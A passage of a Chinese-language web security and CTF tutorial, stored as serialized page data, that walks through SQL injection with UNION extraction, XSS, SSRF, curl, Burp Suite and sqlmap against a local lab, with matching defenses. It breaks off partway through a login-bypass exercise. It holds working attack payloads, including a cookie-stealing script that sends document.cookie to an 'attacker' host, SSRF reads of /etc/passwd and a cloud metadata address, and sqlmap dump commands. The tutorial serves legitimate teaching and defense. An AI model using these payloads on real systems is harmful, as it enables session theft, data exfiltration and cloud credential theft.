部分被执行。\n",[19,12961,12962,12972,12977],{"__ignoreMap":44},[48,12963,12964,12966,12968,12970],{"class":50,"line":51},[48,12965,5161],{"class":54},[48,12967,5164],{"class":1325},[48,12969,5237],{"class":58},[48,12971,5170],{"class":1325},[48,12973,12974],{"class":50,"line":68},[48,12975,12976],{"class":237},"# 目的：验证\"能改变查询条件\"。1=1 恒真，若正常返回说明拼接生效。\n",[48,12978,12979],{"class":50,"line":107},[48,12980,12981],{"class":237},"# 输出应为 1 hello world，与 id=1 相同，说明 AND 部分被执行。\n",[15,12983,281,12984,12986],{},[19,12985,5244],{},"（条件为真，正常返回）。",[15,12988,12989],{},"输入 3：",[39,12991,12993],{"className":41,"code":12992,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND 1=2\"\n# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[19,12994,12995,13005,13010],{"__ignoreMap":44},[48,12996,12997,12999,13001,13003],{"class":50,"line":51},[48,12998,5161],{"class":54},[48,13000,5164],{"class":1325},[48,13002,5263],{"class":58},[48,13004,5170],{"class":1325},[48,13006,13007],{"class":50,"line":68},[48,13008,13009],{"class":237},"# 目的：验证\"条件为假时结果为空\"。1=2 恒假，正常应无输出。\n",[48,13011,13012],{"class":50,"line":107},[48,13013,13014],{"class":237},"# 输出为空 = 我们的输入确实参与 WHERE 判断，注入点最终确认。\n",[15,13016,13017],{},"预期输出：空（条件为假，查不到数据）。",[15,13019,13020,13021,13023,13024,5282],{},"三个结果合起来：单引号报错、",[19,13022,5277],{}," 正常、",[19,13025,5281],{},[462,13027,13029],{"id":13028},"_34-利用union-拖数据","3.4 利用：UNION 拖数据",[15,13031,13032,13034],{},[27,13033,252],{},"：在确认注入后，把数据库里的表结构和数据\"借\"UNION 查询显示到页面上。",[15,13036,13037,13039,13040,13042],{},[27,13038,258],{},"：UNION 可以把两个 SELECT 的结果合并输出，但要求两边列数相同，且第一个查询最好返回空（用不存在的 ",[19,13041,5302],{},"），这样页面显示的就是我们构造的第二个查询。因此先数列数，再确定哪一列会回显，最后把要查的内容（库名、表名、flag）放到回显列上。",[15,13044,13045],{},"第一步，确定列数：",[39,13047,13049],{"className":41,"code":13048,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=1 ORDER BY 1\"\n# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[19,13050,13051,13061,13066],{"__ignoreMap":44},[48,13052,13053,13055,13057,13059],{"class":50,"line":51},[48,13054,5161],{"class":54},[48,13056,5164],{"class":1325},[48,13058,5329],{"class":58},[48,13060,5170],{"class":1325},[48,13062,13063],{"class":50,"line":68},[48,13064,13065],{"class":237},"# ORDER BY N 表示按第 N 列排序；列数 >= N 时正常，超出时报错。\n",[48,13067,13068],{"class":50,"line":107},[48,13069,13070],{"class":237},"# 依次尝试 N=1,2,3 都正常，N=4 报错，说明该查询恰好有 3 列。\n",[15,13072,13073],{},"第二步，确认哪一列会回显：",[39,13075,13077],{"className":41,"code":13076,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,2,3--+\"\n# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[19,13078,13079,13089,13094,13099],{"__ignoreMap":44},[48,13080,13081,13083,13085,13087],{"class":50,"line":51},[48,13082,5161],{"class":54},[48,13084,5164],{"class":1325},[48,13086,5393],{"class":58},[48,13088,5170],{"class":1325},[48,13090,13091],{"class":50,"line":68},[48,13092,13093],{"class":237},"# id=-1：让第一个查询查不到任何记录，这样 UNION 只显示我们构造的部分。\n",[48,13095,13096],{"class":50,"line":107},[48,13097,13098],{"class":237},"# SELECT 1,2,3：与原来 3 列对齐；数字 2、3 会显示在页面上，说明这两个位置可回显数据。\n",[48,13100,13101],{"class":50,"line":114},[48,13102,13103],{"class":237},"# --+：URL 解码后为 \"-- \"，即 SQL 注释，把原查询后面的代码注释掉。\n",[15,13105,281,13106,13108],{},[19,13107,5400],{},"（数字 1 不显示，2、3 的位置可以显示内容）。",[15,13110,13111],{},"第三步，查数据库名：",[39,13113,13115],{"className":41,"code":13114,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,database(),3--+\"\n# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[19,13116,13117,13127,13132],{"__ignoreMap":44},[48,13118,13119,13121,13123,13125],{"class":50,"line":51},[48,13120,5161],{"class":54},[48,13122,5164],{"class":1325},[48,13124,5419],{"class":58},[48,13126,5170],{"class":1325},[48,13128,13129],{"class":50,"line":68},[48,13130,13131],{"class":237},"# database() 是 MySQL 函数，返回当前数据库名；放到第 2 列（回显位）即可看到。\n",[48,13133,13134],{"class":50,"line":107},[48,13135,13136],{"class":237},"# 预期输出 ctf，这一步是为了确认我们在哪个库里，便于后面精确指定表名。\n",[15,13138,281,13139,30],{},[19,13140,942],{},[15,13142,13143],{},"第四步，查表名：",[39,13145,13147],{"className":41,"code":13146,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--+\"\n# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n# WHERE table_schema=database()：只筛当前库的表。\n# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[19,13148,13149,13159,13164,13169,13174],{"__ignoreMap":44},[48,13150,13151,13153,13155,13157],{"class":50,"line":51},[48,13152,5161],{"class":54},[48,13154,5164],{"class":1325},[48,13156,5443],{"class":58},[48,13158,5170],{"class":1325},[48,13160,13161],{"class":50,"line":68},[48,13162,13163],{"class":237},"# information_schema.tables：MySQL 自带的元数据表，记录所有表名。\n",[48,13165,13166],{"class":50,"line":107},[48,13167,13168],{"class":237},"# WHERE table_schema=database()：只筛当前库的表。\n",[48,13170,13171],{"class":50,"line":114},[48,13172,13173],{"class":237},"# group_concat(table_name)：把多行表名拼成一行逗号分隔，方便一次性输出。\n",[48,13175,13176],{"class":50,"line":120},[48,13177,13178],{"class":237},"# 预期输出 articles,flag,users —— 看到 flag 表，猜测 flag 就存在这里。\n",[15,13180,281,13181,30],{},[19,13182,5450],{},[15,13184,13185],{},"第五步，拿 flag：",[39,13187,13189],{"className":41,"code":13188,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/vuln.php?id=-1 UNION SELECT 1,flag,3 FROM flag--+\"\n# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n# 预期输出 flag{sql_injection}，即本题的答案。\n",[19,13190,13191,13201,13206,13211],{"__ignoreMap":44},[48,13192,13193,13195,13197,13199],{"class":50,"line":51},[48,13194,5161],{"class":54},[48,13196,5164],{"class":1325},[48,13198,5507],{"class":58},[48,13200,5170],{"class":1325},[48,13202,13203],{"class":50,"line":68},[48,13204,13205],{"class":237},"# 上一步猜出 flag 表，这一步直接查它：SELECT 1,flag,3 表示从 flag 表取 flag 列。\n",[48,13207,13208],{"class":50,"line":107},[48,13209,13210],{"class":237},"# 如果表名或列名猜错会报错，可回头用 information_schema.columns 查列名再试。\n",[48,13212,13213],{"class":50,"line":114},[48,13214,13215],{"class":237},"# 预期输出 flag{sql_injection}，即本题的答案。\n",[15,13217,281,13218,30],{},[19,13219,5514],{},[15,13221,13222],{},"说明：",[9472,13224,13225,13230,13240],{},[1690,13226,13227,13229],{},[19,13228,5302],{},"：让第一个查询返回空，UNION 的结果才显示第二个查询。",[1690,13231,13232,13235,13236,13239],{},[19,13233,13234],{},"--+","：URL 中解码后是 ",[19,13237,13238],{},"-- ","，即 SQL 注释，把后面代码注释掉。",[1690,13241,13242,13245],{},[19,13243,13244],{},"group_concat","：把多行拼成一行，方便一次性输出。",[462,13247,13249],{"id":13248},"_35-防御参数化查询","3.5 防御：参数化查询",[39,13251,13253],{"className":4928,"code":13252,"language":4930,"meta":44,"style":44},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n",[19,13254,13255,13259],{"__ignoreMap":44},[48,13256,13257],{"class":50,"line":51},[48,13258,5906],{},[48,13260,13261],{"class":50,"line":68},[48,13262,5911],{},[15,13264,13265,13266,13268,13269,13272],{},"此时输入 ",[19,13267,5950],{}," 只会被当作字符串 ",[19,13270,13271],{},"'1 OR 1=1'"," 去比较，不会改变语句结构。",[10,13274,13276],{"id":13275},"四核心漏洞-2xss完整复现","四、核心漏洞 2：XSS（完整复现）",[15,13278,13279,13281],{},[27,13280,252],{},"：理解\"用户输入被当 HTML/JS 输出\"这一漏洞，以及如何构造验证。",[15,13283,13284,13286,13287,13290,13291,13294,13295,13298],{},[27,13285,258],{},"：页面把 ",[19,13288,13289],{},"name"," 原样输出。如果我们传 ",[19,13292,13293],{},"\u003Cscript>alert(1)\u003C/script>","，浏览器会把它当脚本执行。判断方法：先看响应是否原样包含 ",[19,13296,13297],{},"\u003Cscript>"," 标签（用 curl），再用浏览器确认脚本真的执行。",[462,13300,13302],{"id":13301},"_41-平台与代码","4.1 平台与代码",[15,13304,13305,13306,87],{},"任意 Web 应用。示例 ",[19,13307,13308],{},"xss.php",[39,13310,13312],{"className":4928,"code":13311,"language":4930,"meta":44,"style":44},"\u003C?php echo \"你好，\" . $_GET['name'] . \"！\"; ?>\n",[19,13313,13314],{"__ignoreMap":44},[48,13315,13316],{"class":50,"line":51},[48,13317,13311],{},[462,13319,13321],{"id":13320},"_42-正常请求","4.2 正常请求",[39,13323,13325],{"className":41,"code":13324,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/xss.php?name=alice\"\n",[19,13326,13327],{"__ignoreMap":44},[48,13328,13329,13331,13333,13336],{"class":50,"line":51},[48,13330,5161],{"class":54},[48,13332,5164],{"class":1325},[48,13334,13335],{"class":58},"http://127.0.0.1:8000/xss.php?name=alice",[48,13337,5170],{"class":1325},[15,13339,1212,13340,30],{},[19,13341,13342],{},"你好，alice！",[462,13344,13346],{"id":13345},"_43-注入脚本","4.3 注入脚本",[39,13348,13350],{"className":41,"code":13349,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>\"\n",[19,13351,13352],{"__ignoreMap":44},[48,13353,13354,13356,13358,13361],{"class":50,"line":51},[48,13355,5161],{"class":54},[48,13357,5164],{"class":1325},[48,13359,13360],{"class":58},"http://127.0.0.1:8000/xss.php?name=\u003Cscript>alert(1)\u003C/script>",[48,13362,5170],{"class":1325},[15,13364,1212],{},[39,13366,13368],{"className":6540,"code":13367,"language":6542,"meta":44,"style":44},"你好，\n\u003Cscript>\n  alert(1)\n\u003C/script>\n！\n",[19,13369,13370,13375,13384,13397,13406],{"__ignoreMap":44},[48,13371,13372],{"class":50,"line":51},[48,13373,13374],{"class":994},"你好，\n",[48,13376,13377,13379,13382],{"class":50,"line":68},[48,13378,6549],{"class":994},[48,13380,13381],{"class":987},"script",[48,13383,998],{"class":994},[48,13385,13386,13389,13392,13394],{"class":50,"line":107},[48,13387,13388],{"class":54},"  alert",[48,13390,13391],{"class":994},"(",[48,13393,6186],{"class":219},[48,13395,13396],{"class":994},")\n",[48,13398,13399,13402,13404],{"class":50,"line":114},[48,13400,13401],{"class":994},"\u003C/",[48,13403,13381],{"class":987},[48,13405,998],{"class":994},[48,13407,13408],{"class":50,"line":120},[48,13409,13410],{"class":994},"！\n",[15,13412,13413,13414,13416,13417,13419],{},"浏览器会把 ",[19,13415,13297],{}," 当作代码执行。",[19,13418,5161],{}," 只是看响应，要看到效果需要用浏览器打开该 URL。",[462,13421,13423],{"id":13422},"_44-危害演示偷-cookie","4.4 危害演示：偷 Cookie",[15,13425,13426],{},"攻击者构造 URL：",[39,13428,13430],{"className":6540,"code":13429,"language":6542,"meta":44,"style":44},"http://127.0.0.1:8000/xss.php?name=\n\u003Cscript>\n  fetch('http://attacker/?c=' + document.cookie)\n\u003C/script>\n",[19,13431,13432,13437,13445,13466],{"__ignoreMap":44},[48,13433,13434],{"class":50,"line":51},[48,13435,13436],{"class":994},"http://127.0.0.1:8000/xss.php?name=\n",[48,13438,13439,13441,13443],{"class":50,"line":68},[48,13440,6549],{"class":994},[48,13442,13381],{"class":987},[48,13444,998],{"class":994},[48,13446,13447,13450,13452,13455,13458,13460,13463],{"class":50,"line":107},[48,13448,13449],{"class":54},"  fetch",[48,13451,13391],{"class":994},[48,13453,13454],{"class":1325},"'",[48,13456,13457],{"class":58},"http://attacker/?c=",[48,13459,13454],{"class":1325},[48,13461,13462],{"class":987}," +",[48,13464,13465],{"class":994}," document.cookie)\n",[48,13467,13468,13470,13472],{"class":50,"line":114},[48,13469,13401],{"class":994},[48,13471,13381],{"class":987},[48,13473,998],{"class":994},[15,13475,13476,13477,13480],{},"受害者打开后，浏览器会把受害者的 Cookie 发到 ",[19,13478,13479],{},"attacker"," 服务器。攻击者拿到 Cookie 即可冒充登录。",[462,13482,13484],{"id":13483},"_45-防御输出编码","4.5 防御：输出编码",[15,13486,13487],{},"输出前把危险字符转义：",[294,13489,13490,13500],{},[297,13491,13492],{},[300,13493,13494,13497],{},[303,13495,13496],{},"原始字符",[303,13498,13499],{},"转义后",[313,13501,13502,13513,13525,13536,13547],{},[300,13503,13504,13508],{},[318,13505,13506],{},[19,13507,6549],{},[318,13509,13510],{},[19,13511,13512],{},"&lt;",[300,13514,13515,13520],{},[318,13516,13517],{},[19,13518,13519],{},">",[318,13521,13522],{},[19,13523,13524],{},"&gt;",[300,13526,13527,13531],{},[318,13528,13529],{},[19,13530,5804],{},[318,13532,13533],{},[19,13534,13535],{},"&quot;",[300,13537,13538,13542],{},[318,13539,13540],{},[19,13541,13454],{},[318,13543,13544],{},[19,13545,13546],{},"&#39;",[300,13548,13549,13554],{},[318,13550,13551],{},[19,13552,13553],{},"&",[318,13555,13556],{},[19,13557,13558],{},"&amp;",[15,13560,13561,13562,13565],{},"PHP 用 ",[19,13563,13564],{},"htmlspecialchars()","，或使用默认转义的框架（Vue、React 默认转义插值）。",[10,13567,13569],{"id":13568},"五核心漏洞-3ssrf完整复现","五、核心漏洞 3：SSRF（完整复现）",[15,13571,13572,13574],{},[27,13573,252],{},"：理解\"服务器根据用户输入发起请求\"造成的危害，以及如何验证。",[15,13576,13577,87,13579,13582,13583,13586,13587,13590,13591,13594,13595,13598],{},[27,13578,258],{},[19,13580,13581],{},"file_get_contents($url)"," 会按 ",[19,13584,13585],{},"$url"," 的协议去读内容。协议决定能力：",[19,13588,13589],{},"file://"," 读本地文件，",[19,13592,13593],{},"http://"," 访问内网，",[19,13596,13597],{},"gopher://"," 与内网 TCP 服务交互。验证方式：依次换三种协议，看响应内容。",[462,13600,13602],{"id":13601},"_51-平台与代码","5.1 平台与代码",[15,13604,13605,13606,87],{},"具有\"URL 处理\"功能的应用。示例 ",[19,13607,13608],{},"ssrf.php",[39,13610,13612],{"className":4928,"code":13611,"language":4930,"meta":44,"style":44},"\u003C?php\necho file_get_contents($_GET['url']);\n// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n// 参数含义：$_GET['url'] 是用户可控的目标地址。\n// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n?>\n",[19,13613,13614,13618,13623,13628,13633,13638],{"__ignoreMap":44},[48,13615,13616],{"class":50,"line":51},[48,13617,5074],{},[48,13619,13620],{"class":50,"line":68},[48,13621,13622],{},"echo file_get_contents($_GET['url']);\n",[48,13624,13625],{"class":50,"line":107},[48,13626,13627],{},"// file_get_contents() 的作用：按参数中的 URL 把内容读成字符串。\n",[48,13629,13630],{"class":50,"line":114},[48,13631,13632],{},"// 参数含义：$_GET['url'] 是用户可控的目标地址。\n",[48,13634,13635],{"class":50,"line":120},[48,13636,13637],{},"// 危险点：服务器会以自身身份访问该地址，可能读到本机文件或内网服务。\n",[48,13639,13640],{"class":50,"line":126},[48,13641,5112],{},[462,13643,13645],{"id":13644},"_52-读本地文件","5.2 读本地文件",[39,13647,13649],{"className":41,"code":13648,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd\"\n# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n# 预期输出是 passwd 内容（root:x:0:0:...）。\n# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[19,13650,13651,13662,13667,13672],{"__ignoreMap":44},[48,13652,13653,13655,13657,13660],{"class":50,"line":51},[48,13654,5161],{"class":54},[48,13656,5164],{"class":1325},[48,13658,13659],{"class":58},"http://127.0.0.1:8000/ssrf.php?url=file:///etc/passwd",[48,13661,5170],{"class":1325},[48,13663,13664],{"class":50,"line":68},[48,13665,13666],{"class":237},"# file:// 是本地文件协议；file:///etc/passwd 表示读取服务器上的 /etc/passwd。\n",[48,13668,13669],{"class":50,"line":107},[48,13670,13671],{"class":237},"# 预期输出是 passwd 内容（root:x:0:0:...）。\n",[48,13673,13674],{"class":50,"line":114},[48,13675,13676],{"class":237},"# 若输出为空，可能被防护拦截，可尝试 file:///etc/hosts、file:///flag 等路径。\n",[15,13678,281],{},[39,13680,13683],{"className":13681,"code":13682,"language":287,"meta":44},[285],"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n...\n",[19,13684,13682],{"__ignoreMap":44},[462,13686,13688],{"id":13687},"_53-探测内网端口","5.3 探测内网端口",[39,13690,13692],{"className":41,"code":13691,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306\"\n# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n# 通过逐个尝试端口，可以绘制内网服务清单。\n",[19,13693,13694,13705,13710,13715],{"__ignoreMap":44},[48,13695,13696,13698,13700,13703],{"class":50,"line":51},[48,13697,5161],{"class":54},[48,13699,5164],{"class":1325},[48,13701,13702],{"class":58},"http://127.0.0.1:8000/ssrf.php?url=http://127.0.0.1:3306",[48,13704,5170],{"class":1325},[48,13706,13707],{"class":50,"line":68},[48,13708,13709],{"class":237},"# http://127.0.0.1:3306 让服务器尝试连接本机 3306（MySQL 默认端口）。\n",[48,13711,13712],{"class":50,"line":107},[48,13713,13714],{"class":237},"# 端口关闭：请求报错或超时；端口开放：返回协议握手数据或错误信息。\n",[48,13716,13717],{"class":50,"line":114},[48,13718,13719],{"class":237},"# 通过逐个尝试端口，可以绘制内网服务清单。\n",[15,13721,13722],{},"输出为空或超时说明端口关闭；出现 MySQL 协议内容说明 3306 开放。",[462,13724,13726],{"id":13725},"_54-访问云元数据","5.4 访问云元数据",[39,13728,13730],{"className":41,"code":13729,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/\"\n# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[19,13731,13732,13743,13748,13753],{"__ignoreMap":44},[48,13733,13734,13736,13738,13741],{"class":50,"line":51},[48,13735,5161],{"class":54},[48,13737,5164],{"class":1325},[48,13739,13740],{"class":58},"http://127.0.0.1:8000/ssrf.php?url=http://169.254.169.254/latest/meta-data/",[48,13742,5170],{"class":1325},[48,13744,13745],{"class":50,"line":68},[48,13746,13747],{"class":237},"# 169.254.169.254 是云平台（AWS、阿里云等）的元数据服务地址。\n",[48,13749,13750],{"class":50,"line":107},[48,13751,13752],{"class":237},"# 若题目跑在云服务器上且未做内网拦截，这里会返回临时凭证/配置信息。\n",[48,13754,13755],{"class":50,"line":114},[48,13756,13757],{"class":237},"# 这是 SSRF 最经典的\"打云\"利用点，拿到凭证后可能进一步控制资源。\n",[15,13759,13760],{},"云服务器上该地址返回临时凭证相关信息。这是 SSRF 最著名的利用点。",[462,13762,13764],{"id":13763},"_55-防御","5.5 防御",[39,13766,13768],{"className":4928,"code":13767,"language":4930,"meta":44,"style":44},"$allowed = ['https', 'http'];\n$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\nif (!in_array($scheme, $allowed)) die(\"not allowed\");\n// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[19,13769,13770,13775,13780,13785],{"__ignoreMap":44},[48,13771,13772],{"class":50,"line":51},[48,13773,13774],{},"$allowed = ['https', 'http'];\n",[48,13776,13777],{"class":50,"line":68},[48,13778,13779],{},"$scheme = parse_url($_GET['url'], PHP_URL_SCHEME);\n",[48,13781,13782],{"class":50,"line":107},[48,13783,13784],{},"if (!in_array($scheme, $allowed)) die(\"not allowed\");\n",[48,13786,13787],{"class":50,"line":114},[48,13788,13789],{},"// 并检查主机是否属于内网段（127.0.0.0/8、10.0.0.0/8、169.254.169.254 等）\n",[10,13791,13793],{"id":13792},"六必学工具-1curl","六、必学工具 1：curl",[15,13795,13796],{},"三个核心功能，逐个演示。",[15,13798,13799],{},"功能 1：带参数 GET。",[39,13801,13802],{"className":41,"code":5154,"language":43,"meta":44,"style":44},[19,13803,13804],{"__ignoreMap":44},[48,13805,13806,13808,13810,13812],{"class":50,"line":51},[48,13807,5161],{"class":54},[48,13809,5164],{"class":1325},[48,13811,5167],{"class":58},[48,13813,5170],{"class":1325},[15,13815,1212,13816,30],{},[19,13817,5244],{},[15,13819,13820,13821,9341],{},"功能 2：查看完整请求与响应（",[19,13822,12502],{},[39,13824,13826],{"className":41,"code":13825,"language":43,"meta":44,"style":44},"curl -v \"http://127.0.0.1:8000/vuln.php?id=1\"\n# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n# \u003C 开头是响应行与响应头，最后是正文。\n# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[19,13827,13828,13840,13845,13850],{"__ignoreMap":44},[48,13829,13830,13832,13834,13836,13838],{"class":50,"line":51},[48,13831,5161],{"class":54},[48,13833,12490],{"class":219},[48,13835,5164],{"class":1325},[48,13837,5167],{"class":58},[48,13839,5170],{"class":1325},[48,13841,13842],{"class":50,"line":68},[48,13843,13844],{"class":237},"# -v（verbose）会输出完整过程：> 开头是请求行与请求头，\n",[48,13846,13847],{"class":50,"line":107},[48,13848,13849],{"class":237},"# \u003C 开头是响应行与响应头，最后是正文。\n",[48,13851,13852],{"class":50,"line":114},[48,13853,13854],{"class":237},"# 用途：确认服务器实际收到的请求（比如看 User-Agent、Cookie 是否带上）。\n",[15,13856,13857,13858,13860,13861,13863],{},"输出中 ",[19,13859,13519],{}," 开头的是请求，",[19,13862,6549],{}," 开头的是响应，最下面是正文。",[15,13865,13866,13867,9341],{},"功能 3：POST 数据（",[19,13868,13869],{},"-d",[39,13871,13873],{"className":41,"code":13872,"language":43,"meta":44,"style":44},"curl -X POST \"http://127.0.0.1:8000/login.php\" -d \"username=admin&password=123\"\n",[19,13874,13875],{"__ignoreMap":44},[48,13876,13877,13879,13882,13885,13887,13890,13892,13894,13896,13899],{"class":50,"line":51},[48,13878,5161],{"class":54},[48,13880,13881],{"class":219}," -X",[48,13883,13884],{"class":58}," POST",[48,13886,5164],{"class":1325},[48,13888,13889],{"class":58},"http://127.0.0.1:8000/login.php",[48,13891,5804],{"class":1325},[48,13893,1281],{"class":219},[48,13895,5164],{"class":1325},[48,13897,13898],{"class":58},"username=admin&password=123",[48,13900,5170],{"class":1325},[15,13902,13903],{},"用于登录、上传等需要 POST 的场景。",[10,13905,13907],{"id":13906},"七必学工具-2burp-suite","七、必学工具 2：Burp Suite",[15,13909,13910],{},"图形化抓包改包工具（社区版免费）。三个核心模块：",[294,13912,13913,13926],{},[297,13914,13915],{},[300,13916,13917,13920,13923],{},[303,13918,13919],{},"模块",[303,13921,13922],{},"用途",[303,13924,13925],{},"操作步骤",[313,13927,13928,13943,13954],{},[300,13929,13930,13933,13936],{},[318,13931,13932],{},"Proxy",[318,13934,13935],{},"拦截请求",[318,13937,13938,13939,13942],{},"浏览器设置代理 ",[19,13940,13941],{},"127.0.0.1:8080","，安装 Burp 证书；访问目标时请求停在 Burp，可修改后 Forward",[300,13944,13945,13948,13951],{},[318,13946,13947],{},"Repeater",[318,13949,13950],{},"手工重放",[318,13952,13953],{},"拦截到的请求右键 → Send to Repeater；修改参数 → Send，右侧看响应，可反复对比",[300,13955,13956,13959,13962],{},[318,13957,13958],{},"Intruder",[318,13960,13961],{},"自动化遍历",[318,13963,13964],{},"请求中选中要爆破的参数，Add § 标记，加载字典，Start Attack，按响应长度排序找异常",[15,13966,13967],{},"用途对应：Repeater 调试 payload，Intruder 爆破密码或枚举 id，Proxy 观察真实请求。",[10,13969,13971],{"id":13970},"八必学工具-3sqlmap","八、必学工具 3：sqlmap",[15,13973,13974],{},"SQL 注入自动化工具。三个核心命令：",[15,13976,13977],{},"命令 1：检测。",[39,13979,13980],{"className":41,"code":5787,"language":43,"meta":44,"style":44},[19,13981,13982],{"__ignoreMap":44},[48,13983,13984,13986,13988,13990,13992,13994],{"class":50,"line":51},[48,13985,5794],{"class":54},[48,13987,5797],{"class":219},[48,13989,5164],{"class":1325},[48,13991,5167],{"class":58},[48,13993,5804],{"class":1325},[48,13995,5807],{"class":219},[15,13997,1335],{},[39,13999,14001],{"className":14000,"code":5813,"language":287,"meta":44},[285],[19,14002,5813],{"__ignoreMap":44},[15,14004,14005],{},"命令 2：列数据库。",[39,14007,14008],{"className":41,"code":5822,"language":43,"meta":44,"style":44},[19,14009,14010],{"__ignoreMap":44},[48,14011,14012,14014,14016,14018,14020,14022],{"class":50,"line":51},[48,14013,5794],{"class":54},[48,14015,5797],{"class":219},[48,14017,5164],{"class":1325},[48,14019,5167],{"class":58},[48,14021,5804],{"class":1325},[48,14023,5839],{"class":219},[15,14025,14026,14027,30],{},"预期输出：数据库列表，包含 ",[19,14028,942],{},[15,14030,14031],{},"命令 3：导出数据。",[39,14033,14034],{"className":41,"code":5851,"language":43,"meta":44,"style":44},[19,14035,14036],{"__ignoreMap":44},[48,14037,14038,14040,14042,14044,14046,14048,14050,14052,14054,14056],{"class":50,"line":51},[48,14039,5794],{"class":54},[48,14041,5797],{"class":219},[48,14043,5164],{"class":1325},[48,14045,5167],{"class":58},[48,14047,5804],{"class":1325},[48,14049,5868],{"class":219},[48,14051,5871],{"class":58},[48,14053,5874],{"class":219},[48,14055,5877],{"class":58},[48,14057,5880],{"class":219},[15,14059,281,14060,14062,14063,30],{},[19,14061,2985],{}," 表内容，即 ",[19,14064,5514],{},[10,14066,14068],{"id":14067},"九小-ctf-实战登录绕过","九、小 CTF 实战：登录绕过",[15,14070,14071,14072,14075],{},"题目：登录页 ",[19,14073,14074],{},"login.php","，源码：",[39,14077,14079],{"className":4928,"code":14078,"language":4930,"meta":44,"style":44},"$user = $_POST['user'];\n$pass = $_POST['pass'];\n$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[19,14080,14081,14086,14091],{"__ignoreMap":44},[48,14082,14083],{"class":50,"line":51},[48,14084,14085],{},"$user = $_POST['user'];\n",[48,14087,14088],{"class":50,"line":68},[48,14089,14090],{},"$pass = $_POST['pass'];\n",[48,14092,14093],{"class":50,"line":107},[48,14094,14095],{},"$sql = \"SELECT * FROM users WHERE username='\" . $user . \"' AND password='\" . $pass . \"'\";\n",[462,14097,14099],{"id":14098},"第一步正常登录失败","第一步：正常登录失败",[15,14101,14102,14104],{},[27,14103,252],{},"：先建立\"正常请求\"的基线，确认接口参数名（user/pass）和失败时的输出特征。",[39,14106,14108],{"className":41,"code":14107,"language":43,"meta":44,"style":44},"curl -X POST \"http://target/login.php\" --data \"user=admin&pass=wrong\"\n",[19,14109,14110],{"__ignoreMap":44},[48,14111,14112,14114,14116,14118,14120,14123,14125,14128,14130,14133],{"class":50,"line":51},[48,14113,5161],{"class":54},[48,14115,13881],{"class":219},[48,14117,13884],{"class":58},[48,14119,5164],{"class":1325},[48,14121,14122],{"class":58},"http://target/login.php",[48,14124,5804],{"class":1325},[48,14126,14127],{"class":219}," --data",[48,14129,5164],{"class":1325},[48,14131,14132],{"class":58},"user=admin&pass=wrong",[48,14134,5170],{"class":1325},[15,14136,1212,14137,30],{},[19,14138,14139],{},"Login failed",[462,14141,14143],{"id":14142},"第二步构造绕过","第二步：构造绕过",[15,14145,14146,14148,14149,14152],{},[27,14147,258],{},"：观察源码 ",[19,14150,14151],{},"WHERE username='...' AND password='...'","，猜测我们可以在用户名里\"提前闭合单引号并用注释吃掉后半句\"。这样密码校验被注释掉，只要用户存在即可登录。",[15,14154,14155,14157,14158,14160,14161,530,14164,14167,14168,3549,14170,9341],{},[27,14156,836],{},"：发送 payload 后看是否从 ",[19,14159,14139],{}," 变成成功页面；若失败，尝试 ",[19,14162,14163],{},"admin'#",[19,14165,14166],{},"admin'-- "," 等不同注释符（MySQL 支持 